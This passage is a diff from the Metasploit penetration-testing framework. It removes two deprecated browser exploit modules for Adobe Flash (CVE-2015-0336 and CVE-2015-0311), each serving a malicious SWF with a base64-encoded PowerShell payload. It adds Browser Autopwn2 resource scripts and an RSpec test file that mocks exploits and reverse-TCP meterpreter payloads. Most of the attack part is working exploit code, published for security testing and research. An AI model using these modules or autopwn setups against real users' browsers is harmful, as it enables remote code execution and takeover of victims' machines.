def on_request_exploit(cli, request, target_info)
|
||||
serve = build_html(cli, request)
|
||||
send_exploit_html(cli, serve)
|
||||
end
|
||||
|
||||
def run
|
||||
exploit
|
||||
end
|
||||
|
||||
end
|
|
@ -1,121 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015, 7, 27), 'exploit/multi/browser/adobe_flash_net_connection_confusion')
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe Flash Player NetConnection Type Confusion',
|
||||
'Description' => %q{
|
||||
This module exploits a type confusion vulnerability in the NetConnection class on
|
||||
Adobe Flash Player. When using a correct memory layout this vulnerability allows
|
||||
to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like
|
||||
vectors, and finally accomplish remote code execution. This module has been tested
|
||||
successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit
|
||||
'Unknown', # Exploit in the wild
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0336'],
|
||||
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],
|
||||
['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],
|
||||
['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],
|
||||
['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],
|
||||
['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:os_name => OperatingSystems::Match::WINDOWS_7,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') },
|
||||
:arch => ARCH_X86
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Mar 12 2015',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
@trigger = create_trigger
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status('Sending SWF...')
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Sending HTML...')
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
target_payload = get_payload(cli, target_info)
|
||||
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
|
||||
b64_payload = Rex::Text.encode_base64(psh_payload)
|
||||
|
||||
trigger_hex_stream = @trigger.unpack('H*')[0]
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" />
|
||||
<param name="Play" value="true" />
|
||||
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" Play="true"/>
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
def create_trigger
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
end
|
|
@ -1,110 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015, 7, 21), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf')
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free',
|
||||
'Description' => %q{
|
||||
This module exploits an use after free vulnerability in Adobe Flash Player. The
|
||||
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying
|
||||
to uncompress() a malformed byte stream. This module has been tested successfully
|
||||
on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and
|
||||
16.0.0.235.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery and exploit in the wild
|
||||
'hdarwin', # Public exploit by @hdarwin89
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0311'],
|
||||
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'],
|
||||
['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'],
|
||||
['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:os_name => OperatingSystems::Match::WINDOWS_7,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:flash => lambda { |ver| ver =~ /^16\./ && ver <= '16.0.0.287' },
|
||||
:arch => ARCH_X86
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Apr 28 2014',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status('Sending SWF...')
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Sending HTML...')
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
target_payload = get_payload(cli, target_info)
|
||||
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
|
||||
b64_payload = Rex::Text.encode_base64(psh_payload)
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=b64_payload%>" />
|
||||
<param name="Play" value="true" />
|
||||
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,6 @@
|
|||
<ruby>
|
||||
run_single("use auxiliary/server/browser_autopwn2")
|
||||
run_single("set ShowExploitList true")
|
||||
run_single("set VERBOSE true")
|
||||
run_single("run")
|
||||
</ruby>
|
|
@ -0,0 +1,16 @@
|
|||
<ruby>
|
||||
print_status("Starting BAP...")
|
||||
print_status("Exploits will not be actually served, but you will know which ones the clients might be vulnerable to.")
|
||||
print_status("You can do 'notes -t baps.clicks' in msfconsole to track clicks and client-specific exploit info.")
|
||||
run_single("use auxiliary/server/browser_autopwn2")
|
||||
run_single("set ShowExploitList true")
|
||||
run_single("set MaxSessionCount 0")
|
||||
|
||||
# Instead of set Content, you can also do set Custom404 to redirect the client to an SE training website
|
||||
# For example (why don't you try this? :-) )
|
||||
run_single("set Custom404 https://www.youtube.com/watch?v=dQw4w9WgXcQ")
|
||||
|
||||
# run_single("set HTMLContent \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"")
|
||||
|
||||
run_single("run")
|
||||
</ruby>
|
|
@ -0,0 +1,8 @@
|
|||
<ruby>
|
||||
print_status("Starting Browser Autopwn with Firefox-only BrowserExploitServer-based exploits.")
|
||||
print_status("Older Firefox exploits don't use BES, therefore will not be loaded.")
|
||||
run_single("use auxiliary/server/browser_autopwn2")
|
||||
run_single("set INCLUDE_PATTERN (mozilla_firefox|firefox)_")
|
||||
run_single("set ShowExploitList true")
|
||||
run_single("run")
|
||||
</ruby>
|
|
@ -0,0 +1,8 @@
|
|||
<ruby>
|
||||
print_status("Starting Browser Autopwn with Adobe Flash-only BrowserExploitServer-based exploits.")
|
||||
print_status("Older Adobe Flash exploits don't use BES, therefore will not be loaded.")
|
||||
run_single("use auxiliary/server/browser_autopwn2")
|
||||
run_single("set INCLUDE_PATTERN adobe_flash")
|
||||
run_single("set ShowExploitList true")
|
||||
run_single("run")
|
||||
</ruby>
|
|
@ -0,0 +1,8 @@
|
|||
<ruby>
|
||||
print_status("Starting Browser Autopwn with IE-only BrowserExploitServer-based exploits.")
|
||||
print_status("Older IE exploits don't use BES, therefore will not be loaded.")
|
||||
run_single("use auxiliary/server/browser_autopwn2")
|
||||
run_single("set INCLUDE_PATTERN (ms\\\\d\\\\d_\\\\d+|ie)_")
|
||||
run_single("set ShowExploitList true")
|
||||
run_single("run")
|
||||
</ruby>
|
|
@ -0,0 +1,844 @@
|
|||
require 'msf/core'
|
||||
|
||||
describe Msf::Exploit::Remote::BrowserAutopwn2 do
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Recreate the environment (framework, mixins, etc)
|
||||
#
|
||||
|
||||
|
||||
|
||||
def mock_note_destroy
|
||||
# The destroy method doesn't pass the note as an argument startlike framework.jobs_stop_job.
|
||||
# So here's I'm just gonna clear them all, and that sort of mimics #destroy.
|
||||
framework = double('Msf::Framework', datastore: {})
|
||||
|
||||
# This empties it
|
||||
notes = []
|
||||
|
||||
db = double('db1')
|
||||
allow(db).to receive(:notes).and_return(notes)
|
||||
allow(framework).to receive(:db).and_return(db)
|
||||
|
||||
allow(subject).to receive(:framework).and_return(framework)
|
||||
end
|
||||
|
||||
def mock_report_note(arg)
|
||||
framework = double('Msf::Framework', datastore: {})
|
||||
notes = [create_fake_note('bap.clicks')]
|
||||
db = double('db2')
|
||||
allow(db).to receive(:notes).and_return(notes)
|
||||
allow(framework).to receive(:db).and_return(db)
|
||||
allow(subject).to receive(:framework).and_return(framework)
|
||||
end
|
||||
|
||||
def create_fake_note(tag, data='')
|
||||
note = double('note3')
|
||||
|
||||
allow(note).to receive(:ntype).and_return(tag)
|
||||
allow(note).to receive(:data).and_return(data)
|
||||
allow(note).to receive(:destroy) { mock_note_destroy }
|
||||
|
||||
note
|
||||
end
|
||||
|
||||
def mock_stop_job(arg)
|
||||
framework = double('Msf::Framework', datastore: {})
|
||||
jobs = subject.framework.jobs.delete_if {|e| e.first == arg.to_s}
|
||||
allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) }
|
||||
allow(framework).to receive(:jobs).and_return(jobs)
|
||||
allow(subject).to receive(:framework).and_return(framework)
|
||||
end
|
||||
|
||||
def create_fake_job(id)
|
||||
ctx = double('ctx')
|
||||
handler = create_fake_windows_meterpreter
|
||||
allow(ctx).to receive(:first).and_return(handler)
|
||||
job = [id.to_s, double('job')]
|
||||
allow(job).to receive(:ctx).and_return(ctx)
|
||||
|
||||
job
|
||||
end
|
||||
|
||||
def create_fake_exploit(opts={})
|
||||
full_name = opts[:full_name]
|
||||
short_name = opts[:short_name]
|
||||
rank = opts[:rank] || 400
|
||||
disclosure_date = opts[:disclosure_date] || 'Dec 21 2014'
|
||||
compat_payloads = opts[:compat_payloads] || []
|
||||
datastore_options = opts[:datastore_options] || {}
|
||||
job_id = opts[:job_id] || 0
|
||||
requirements = opts[:requirements] || {}
|
||||
workspace = opts[:workspace] || 'default'
|
||||
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend(Msf::Exploit::Remote::BrowserExploitServer)
|
||||
|
||||
allow(mod).to receive(:fullname).and_return(full_name)
|
||||
allow(mod).to receive(:rank).and_return(rank)
|
||||
allow(mod).to receive(:disclosure_date).and_return(disclosure_date)
|
||||
allow(mod).to receive(:compatible_payloads).and_return(compat_payloads)
|
||||
allow(mod).to receive(:datastore).and_return(datastore_options)
|
||||
allow(mod).to receive(:job_id).and_return(job_id)
|
||||
allow(mod).to receive(:workspace).and_return(workspace)
|
||||
allow(mod).to receive(:exploit_simple)
|
||||
allow(mod).to receive(:vprint_status)
|
||||
allow(mod).to receive(:shortname).and_return(short_name)
|
||||
mod.instance_variable_set(:@requirements, requirements)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
def create_fake_multi_handler
|
||||
compat_payloads = [
|
||||
[windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter]
|
||||
]
|
||||
|
||||
create_fake_exploit(
|
||||
full_name: 'multi/handler',
|
||||
short_name: 'multi/handler',
|
||||
compat_payloads: compat_payloads,
|
||||
job_id: 0,
|
||||
)
|
||||
end
|
||||
|
||||
def create_fake_ms14_064
|
||||
compat_payloads = [
|
||||
[windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter]
|
||||
]
|
||||
|
||||
create_fake_exploit(
|
||||
full_name: 'windows/browser/ms14_064_ole_code_execution',
|
||||
short_name: 'ms14_064_ole_code_execution',
|
||||
rank: 600,
|
||||
disclosure_date: 'Nov 13 2014',
|
||||
compat_payloads: compat_payloads,
|
||||
datastore_options: {'URIPATH'=>'/ms14_64'},
|
||||
job_id: 0,
|
||||
requirements: {os_name: windows_81_regex}
|
||||
)
|
||||
end
|
||||
|
||||
def create_fake_flash_net_connection_confusion
|
||||
compat_payloads = [
|
||||
[windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter],
|
||||
[linux_meterpreter_reverse_tcp, create_fake_linux_meterpreter]
|
||||
]
|
||||
|
||||
create_fake_exploit(
|
||||
full_name: 'multi/browser/adobe_flash_net_connection_confusion',
|
||||
short_name: 'adobe_flash_net_connection_confusion',
|
||||
rank: 500,
|
||||
disclosure_date: 'Mar 12 2015',
|
||||
compat_payloads: compat_payloads,
|
||||
datastore_options: {'URIPATH'=>'/flash1'},
|
||||
job_id: 1,
|
||||
requirements: {os_name: lambda { |ver| ver == '16.0.0.305' }}
|
||||
)
|
||||
end
|
||||
|
||||
def create_fake_flash_uncompress_zlib_uaf
|
||||
compat_payloads = [windows_meterpreter_reverse_tcp, linux_meterpreter_reverse_tcp]
|
||||
|
||||
create_fake_exploit(
|
||||
full_name: 'multi/browser/adobe_flash_uncompress_zlib_uaf',
|
||||
short_name: 'adobe_flash_uncompress_zlib_uaf',
|
||||
rank: 500,
|
||||
disclosure_date: 'Apr 28 2014',
|
||||
compat_payloads: compat_payloads,
|
||||
datastore_options: {'URIPATH'=>'/flash2'},
|
||||
job_id: 2,
|
||||
requirements: {os_name: lambda { |ver| ver == '16.0.0.287' }}
|
||||
)
|
||||
end
|
||||
|
||||
def create_fake_payload(opts={})
|
||||
platforms = opts[:platforms]
|
||||
archs = opts[:archs]
|
||||
datastores = opts[:datastore_options]
|
||||
fullname = opts[:fullname]
|
||||
shortname = opts[:shortname]
|
||||
workspace = opts[:workspace] || 'default'
|
||||
|
||||
p = Msf::Payload.new
|
||||
|
||||
platforms.each do |platform|
|
||||
p.platform.platforms << platform
|
||||
end
|
||||
|
||||
archs.each do |arch|
|
||||
p.arch << arch
|
||||
end
|
||||
|
||||
datastores.each_pair do |key, value|
|
||||
p.datastore[key] = value
|
||||
end
|
||||
|
||||
datastores['WORKSPACE'] = workspace
|
||||
|
||||
allow(p).to receive(:fullname).and_return(fullname)
|
||||
allow(p).to receive(:shoftname).and_return(shortname)
|
||||
allow(p).to receive(:workspace).and_return(workspace)
|
||||
allow(p).to receive(:exploit_simple)
|
||||
|
||||
p
|
||||
end
|
||||
|
||||
def create_fake_windows_meterpreter
|
||||
create_fake_payload(
|
||||
platforms: [Msf::Module::Platform::Windows],
|
||||
archs: ['x86'],
|
||||
datastore_options: {'LPORT'=>'4444'},
|
||||
fullname: windows_meterpreter_reverse_tcp,
|
||||
shortname: 'reverse_tcp'
|
||||
)
|
||||
end
|
||||
|
||||
def create_fake_linux_meterpreter
|
||||
create_fake_payload(
|
||||
platforms: [Msf::Module::Platform::Linux],
|
||||
archs: ['x86'],
|
||||
datastore_options: {'LPORT'=>'4445'},
|
||||
fullname: linux_meterpreter_reverse_tcp,
|
||||
shortname: 'reverse_tcp'
|
||||
)
|
||||
end
|
||||
|
||||
def mock_payload_create(full_name)
|
||||
full_name.gsub!(/^firefox/, 'generic')
|
||||
available_payloads.each do |p|
|
||||
return p if p.fullname == full_name
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def mock_exploit_create(full_name)
|
||||
available_exploits.each do |x|
|
||||
return x if x.fullname == full_name
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
let(:windows_meterpreter_reverse_tcp) do
|
||||
'windows/meterpreter/reverse_tcp'
|
||||
end
|
||||
|
||||
let(:linux_meterpreter_reverse_tcp) do
|
||||
'linux/x86/meterpreter/reverse_tcp'
|
||||
end
|
||||
|
||||
let(:windows_81_regex) do
|
||||
/^(?:Microsoft )?Windows 8\.1/
|
||||
end
|
||||
|
||||
let(:job_ids) do
|
||||
ids = []
|
||||
|
||||
subject.framework.jobs.each do |job|
|
||||
ids << job.first.to_i
|
||||
end
|
||||
|
||||
ids
|
||||
end
|
||||
|
||||
let(:available_exploits) do
|
||||
@exploits ||= lambda {
|
||||
exploits = []
|
||||
|
||||
exploits << create_fake_ms14_064
|
||||
exploits << create_fake_flash_uncompress_zlib_uaf
|
||||
exploits << create_fake_flash_net_connection_confusion
|
||||
exploits << create_fake_multi_handler
|
||||
|
||||
exploits
|
||||
}.call
|
||||
end
|
||||
|
||||
let(:available_payloads) do
|
||||
@payloads ||= lambda {
|
||||
payloads = []
|
||||
|
||||
payloads << create_fake_windows_meterpreter
|
||||
payloads << create_fake_linux_meterpreter
|
||||
|
||||
payloads
|
||||
}.call
|
||||
end
|
||||
|
||||
let(:fake_exploit_hash) do
|
||||
exploits = {}
|
||||
|
||||
available_exploits.each do |x|
|
||||
exploits[x.fullname.to_s] = '__SYMBOLIC__'
|
||||
end
|
||||
|
||||
exploits
|
||||
end
|
||||
|
||||
let(:autopwn_datastore_options) do
|
||||
{
|
||||
'SRVHOST' => '0.0.0.0',
|
||||
'SRVPORT' => 8080,
|
||||
'MaxExploits' => 20,
|
||||
'LHOST' => '127.0.0.1',
|
||||
'SSL' => false,
|
||||
'MaxSessions' => -1,
|
||||
'Custom404' => 'http://example.com',
|
||||
'PAYLOAD_ANDROID' => 'android/meterpreter/reverse_tcp',
|
||||
'PAYLOAD_FIREFOX' => 'firefox/shell_reverse_tcp',
|
||||
'PAYLOAD_GENERIC' => 'generic/shell_reverse_tcp',
|
||||
'PAYLOAD_JAVA' => 'java/meterpreter/reverse_tcp',
|
||||
'PAYLOAD_LINUX' => 'linux/x86/meterpreter/reverse_tcp',
|
||||
'PAYLOAD_OSX' => 'osx/x86/shell_reverse_tcp',
|
||||
'PAYLOAD_UNIX' => 'cmd/unix/reverse',
|
||||
'PAYLOAD_WIN' => 'windows/meterpreter/reverse_tcp',
|
||||
'PAYLOAD_ANDROID_LPORT' => 4443,
|
||||
'PAYLOAD_FIREFOX_LPORT' => 4442,
|
||||
'PAYLOAD_GENERIC_LPORT' => 4459,
|
||||
'PAYLOAD_JAVA_LPORT' => 4448,
|
||||
'PAYLOAD_LINUX_LPORT' => 4445,
|
||||
'PAYLOAD_OSX_LPORT' => 4447,
|
||||
'PAYLOAD_UNIX_LPORT' => 4446,
|
||||
'PAYLOAD_WIN_LPORT' => 4444
|
||||
}
|
||||
end
|
||||
|
||||
let(:default_profile_data) do
|
||||
{
|
||||
"BAP.1433806920.Client.blLGFIlwYrxfvcY" => {
|
||||
"source" => "script",
|
||||
"os_name" => "Windows 8.1",
|
||||
"os_vendor" => "undefined",
|
||||
"os_device" => "undefined",
|
||||
"ua_name" => "Firefox",
|
||||
"ua_ver" => "35.0",
|
||||
"arch" => "x86",
|
||||
"java" => "1.7",
|
||||
"silverlight" => "false",
|
||||
"flash" => "14.0",
|
||||
"vuln_test" => "true",
|
||||
"proxy" => false,
|
||||
"language" => "en-US,en;q=0.5",
|
||||
"tried" => true
|
||||
}}
|
||||
end
|
||||
|
||||
let(:profile_tag) do
|
||||
default_profile_data.keys.first.split('.')[3]
|
||||
end
|
||||
|
||||
let(:note_type_prefix) do
|
||||
default_profile_data.keys.first.split('.')[0,3] * "."
|
||||
end
|
||||
|
||||
let(:cli) do
|
||||
c = double('cli')
|
||||
allow(c).to receive(:peerhost).and_return('127.0.0.1')
|
||||
c
|
||||
end
|
||||
|
||||
let(:cli_req) do
|
||||
req = Rex::Proto::Http::Request.new
|
||||
req.headers['Cookie'] = "__ua=#{profile_tag}"
|
||||
req
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
framework = double('Msf::Framework', datastore: {})
|
||||
|
||||
# Prepare fake notes
|
||||
notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", default_profile_data)]
|
||||
|
||||
# Prepare framework.db
|
||||
w = double('workspace')
|
||||
allow(w).to receive(:name).and_return('WORKSPACE')
|
||||
|
||||
db = double('db')
|
||||
allow(db).to receive(:report_note).with(kind_of(Hash)) { |arg| mock_report_note(arg) }
|
||||
allow(db).to receive(:notes).and_return(notes)
|
||||
allow(db).to receive(:active).and_return(true)
|
||||
allow(db).to receive(:workspace).and_return(w)
|
||||
allow(framework).to receive(:db).and_return(db)
|
||||
|
||||
# Prepare framework.exploits
|
||||
exploits = double('exploits')
|
||||
allow(exploits).to receive(:create) { |arg| mock_exploit_create(arg) }
|
||||
allow(exploits).to receive(:each_pair).and_yield(available_exploits[0].fullname, '__SYMBOLIC__').and_yield(available_exploits[1].fullname, '__SYMBOLIC__').and_yield(available_exploits[2].fullname, '__SYMBOLIC__')
|
||||
allow(framework).to receive(:exploits).and_return(exploits)
|
||||
|
||||
# Prepare jobs
|
||||
jobs = {'0' => create_fake_job(0)}
|
||||
allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) }
|
||||
allow(framework).to receive(:jobs).and_return(jobs)
|
||||
|
||||
# Prepare payloads
|
||||
payloads = {}
|
||||
available_payloads.each do |p|
|
||||
payloads[p.fullname] = "__SYMBOLIC__"
|
||||
end
|
||||
allow(payloads).to receive(:create) { |arg| mock_payload_create(arg) }
|
||||
allow(framework).to receive(:payloads).and_return(payloads)
|
||||
|
||||
allow_any_instance_of(described_class).to receive(:cli).and_return(cli)
|
||||
|
||||
allow_any_instance_of(described_class).to receive(:framework).and_return(framework)
|
||||
allow_any_instance_of(described_class).to receive(:report_note) { |arg| mock_report_note(arg) }
|
||||
end
|
||||
|
||||
subject do
|
||||
mod = Msf::Exploit::Remote.allocate
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
mod.send(:datastore=, autopwn_datastore_options)
|
||||
allow(mod).to receive(:fullname).and_return('multi/browser/autopwn')
|
||||
allow(mod).to receive(:datastore).and_return(autopwn_datastore_options)
|
||||
mod
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Method testing starts here
|
||||
#
|
||||
|
||||
|
||||
|
||||
describe '#init_exploits' do
|
||||
before(:each) do
|
||||
allow(subject).to receive(:set_exploit_options)
|
||||
subject.instance_variable_set(:@bap_exploits, [])
|
||||
end
|
||||
|
||||
context 'when two exploits are loaded' do
|
||||
it 'saves two exploits in instance variable @bap_exploits' do
|
||||
subject.init_exploits
|
||||
expect(subject.instance_variable_get(:@bap_exploits).length).to eq(3)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when removing jobs' do
|
||||
describe '#rm_exploit_jobs' do
|
||||
before(:each) do
|
||||
subject.instance_variable_set(:@exploit_job_ids, job_ids)
|
||||
end
|
||||
|
||||
it 'empties jobs' do
|
||||
expect(subject.framework.jobs.length).to eq(1)
|
||||
subject.rm_exploit_jobs
|
||||
expect(subject.framework.jobs).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
describe '#rm_payload_jobs' do
|
||||
it 'empties jobs' do
|
||||
subject.instance_variable_set(:@payload_job_ids, job_ids)
|
||||
expect(subject.framework.jobs.length).to eq(1)
|
||||
subject.rm_payload_jobs
|
||||
expect(subject.framework.jobs).to be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#set_exploit_options' do
|
||||
before(:each) do
|
||||
payload_info = {
|
||||
payload_name: windows_meterpreter_reverse_tcp,
|
||||
payload_lport: 4444
|
||||
}
|
||||
|
||||
allow(subject).to receive(:select_payload).and_return([payload_info])
|
||||
end
|
||||
|
||||
let(:xploit) do
|
||||
create_fake_ms14_064
|
||||
end
|
||||
|
||||
context 'when a module is given' do
|
||||
before(:each) do
|
||||
subject.instance_variable_set(:@bap_exploits, [])
|
||||
subject.init_exploits
|
||||
subject.set_exploit_options(xploit)
|
||||
end
|
||||
|
||||
it 'sets the datastore options' do
|
||||
expect(xploit.datastore['URIPATH']).to match(/^\/\w+/)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
describe '#is_resource_taken?' do
|
||||
before(:each) do
|
||||
allow(subject).to receive(:set_exploit_options)
|
||||
subject.instance_variable_set(:@bap_exploits, [])
|
||||
subject.init_exploits
|
||||
end
|
||||
|
||||
let(:repeated_resource) { '/flash1' }
|
||||
|
||||
let(:non_repeated_resource) { '/unique' }
|
||||
|
||||
context 'when a resource is repeated' do
|
||||
it 'returns true' do
|
||||
expect(subject.is_resource_taken?(repeated_resource)).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a resource is not repeated' do
|
||||
it 'returns false' do
|
||||
expect(subject.is_resource_taken?(non_repeated_resource)).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#assign_module_resource' do
|
||||
it 'returns a resource' do
|
||||
allow(subject).to receive(:is_resource_taken?).and_return(false)
|
||||
expect(subject.assign_module_resource).to match(/^\w+$/)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
context 'when sorting' do
|
||||
before(:each) do
|
||||
allow(subject).to receive(:set_exploit_options)
|
||||
subject.instance_variable_set(:@bap_exploits, [])
|
||||
subject.init_exploits
|
||||
end
|
||||
|
||||
let(:bap_groups) { subject.group_bap_modules }
|
||||
|
||||
describe '#sort_date_in_group' do
|
||||
it 'returns modules sorted by date' do
|
||||
unsorted_first = 'multi/browser/adobe_flash_uncompress_zlib_uaf'
|
||||
expect(bap_groups[500].first.fullname).to eq(unsorted_first)
|
||||
|
||||
sorted_first = 'multi/browser/adobe_flash_net_connection_confusion'
|
||||
expect(subject.sort_date_in_group(bap_groups)[500].first.fullname).to eq(sorted_first)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#sort_group_by_rank' do
|
||||
it 'returns modules sorted by rank' do
|
||||
unsorted_order = [0, 100, 200, 300, 400, 500, 600]
|
||||
sorted_order = [0, 100, 200, 300, 400, 500, 600].reverse
|
||||
|
||||
expect(bap_groups.keys).to eq(unsorted_order)
|
||||
